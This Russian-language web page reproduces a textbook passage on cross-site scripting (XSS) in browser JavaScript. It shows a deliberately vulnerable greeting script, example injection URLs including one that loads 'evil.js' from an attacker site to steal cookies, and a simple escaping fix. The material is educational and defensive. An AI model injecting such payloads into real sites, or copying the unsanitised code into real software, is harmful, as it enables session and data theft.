русс | укр

Языки программирования

ПаскальСиАссемблерJavaMatlabPhpHtmlJavaScriptCSSC#DelphiТурбо Пролог

Компьютерные сетиСистемное программное обеспечениеИнформационные технологииПрограммирование

Все о программировании


Linux Unix Алгоритмические языки Аналоговые и гибридные вычислительные устройства Архитектура микроконтроллеров Введение в разработку распределенных информационных систем Введение в численные методы Дискретная математика Информационное обслуживание пользователей Информация и моделирование в управлении производством Компьютерная графика Математическое и компьютерное моделирование Моделирование Нейрокомпьютеры Проектирование программ диагностики компьютерных систем и сетей Проектирование системных программ Системы счисления Теория статистики Теория оптимизации Уроки AutoCAD 3D Уроки базы данных Access Уроки Orcad Цифровые автоматы Шпаргалки по компьютеру Шпаргалки по программированию Экспертные системы Элементы теории информации

Межсайтовый скриптинг


Дата добавления: 2015-07-09; просмотров: 630; Нарушение авторских прав



 

Термин межсайтовый скриптинг (cross'site scripting), или XSS, относится к об_ ласти компьютерной уязвимости, когда атакующий внедряет HTML_теги или сце_


 

284 Глава 13. JavaScript в веб*броузерах

нарии в документы на уязвимом веб_сайте. Организация защиты от XSS_атак – обычное дело для веб_разработчиков, занимающихся созданием серверных сце_ нариев. Однако программисты, разрабатывающие клиентские JavaScript_сцена_ рии, также должны знать о XSS_атаках и предпринимать меры защиты от них.

 

Веб_страница считается уязвимой для XSS_атак, если она динамически создает содержимое документа на основе пользовательских данных, не прошедших предварительную обработку по удалению встроенного HTML_кода. В качестве тривиального примера рассмотрим следующую веб_страницу, которая использу_ ет JavaScript_сценарий, чтобы приветствовать пользователя по имени:

 

<script>

 

var name = decodeURIComponent(window.location.search.substring(6)) || ""; document.write("Привет " + name);

</script>

 

Во второй строке сценария вызывается метод window.location.search.substring, с помощью которого извлекается часть адресной строки, начинающаяся с симво_ ла ?. Затем с помощью метода document.write() добавляется динамически сгенери_ рованное содержимое документа. Этот сценарий предполагает, что обращение к веб_странице будет производиться с помощью примерно такого URL_адреса:

http://www.example.com/greet.html?name=Давид

 

В этом случае будет выведен текст «Привет Давид». Но что произойдет, если страница будет запрошена с использованием следующего URL_адреса:

 

http://www.example.com/greet.html?name=%3Cscript%3Ealert('Давид')%3C/script%3E

 

С таким содержимым URL_адреса сценарий динамически сгенерирует другой сценарий (коды %3C и %3E – это угловые скобки)! В данном случае вставленный сценарий просто отобразит диалоговое окно, которое не представляет никакой опасности. Но представьте себе такой случай:



 

http://siteA/greet.html?name=%3Cscript src=siteB/evil.js%3E%3C/script%3E

 

Межсайтовый скриптинг потому так и называется, что в атаке участвует более одного сайта. Сайт B (или даже сайт C) включает специально сконструирован_ ную ссылку (подобную только что показанной) на сайт A, в которой содержится сценарий с сайта B. Сценарий evil.js размещается на сайте злоумышленника B, но теперь этот сценарий оказывается внедренным в сайт A и может делать все, что ему заблагорассудится с содержимым сайта A. Он может стереть страницу или вызвать другие нарушения в работе сайта (например, отказать в обслужива_ нии, о чем рассказывается в следующем разделе). Это может отрицательно ска_ заться на посетителях сайта A. Гораздо опаснее, что такой злонамеренный сце_ нарий может прочитать содержимое cookies, хранящихся на сайте A (возможно содержащих учетные номера или другие персональные сведения), и отправить эти данные обратно на сайт B. Внедренный сценарий может даже отслеживать нажатия клавиш и отправлять эти данные на сайт B.

 

Универсальный способ предотвращения XSS_атак заключается в удалении HTML_ тегов из всех данных сомнительного происхождения, прежде чем использовать их для динамического создания содержимого документа. Чтобы исправить эту про_ блему в показанном ранее файле greet.html, нужно добавить следующую строку в сценарий, которая призвана удалять угловые скобки, окружающие тег <script>:


 

13.9. Другие реализации JavaScript во Всемирной паутине
   

 

name = name.replace(/</g, "&lt;").replace(/>/g, "&gt;");

 

Межсайтовый скриптинг представляет собой уязвимость, глубоко уходящую корнями в архитектуру Всемирной паутины. Необходимо осознавать всю глуби_ ну этой уязвимости, но дальнейшее ее обсуждение далеко выходит за рамки те_ мы данной книги. В Интернете есть немало ресурсов, которые помогут вам орга_ низовать защиту от атак подобного рода. Наиболее важный из них принадлежит группе компьютерной «скорой помощи» CERT Advisory: http://www.cert.org/ad' visories/CA'2000'02.html.

 



<== предыдущая лекция | следующая лекция ==>
Взаимодействие с модулями расширения и элементами управления ActiveX | Атаки типа отказа в обслуживании


Карта сайта Карта сайта укр


Уроки php mysql Программирование

Онлайн система счисления Калькулятор онлайн обычный Инженерный калькулятор онлайн Замена русских букв на английские для вебмастеров Замена русских букв на английские

Аппаратное и программное обеспечение Графика и компьютерная сфера Интегрированная геоинформационная система Интернет Компьютер Комплектующие компьютера Лекции Методы и средства измерений неэлектрических величин Обслуживание компьютерных и периферийных устройств Операционные системы Параллельное программирование Проектирование электронных средств Периферийные устройства Полезные ресурсы для программистов Программы для программистов Статьи для программистов Cтруктура и организация данных


 


Не нашли то, что искали? Google вам в помощь!

 
 

© life-prog.ru При использовании материалов прямая ссылка на сайт обязательна.

Генерация страницы за: 0.003 сек.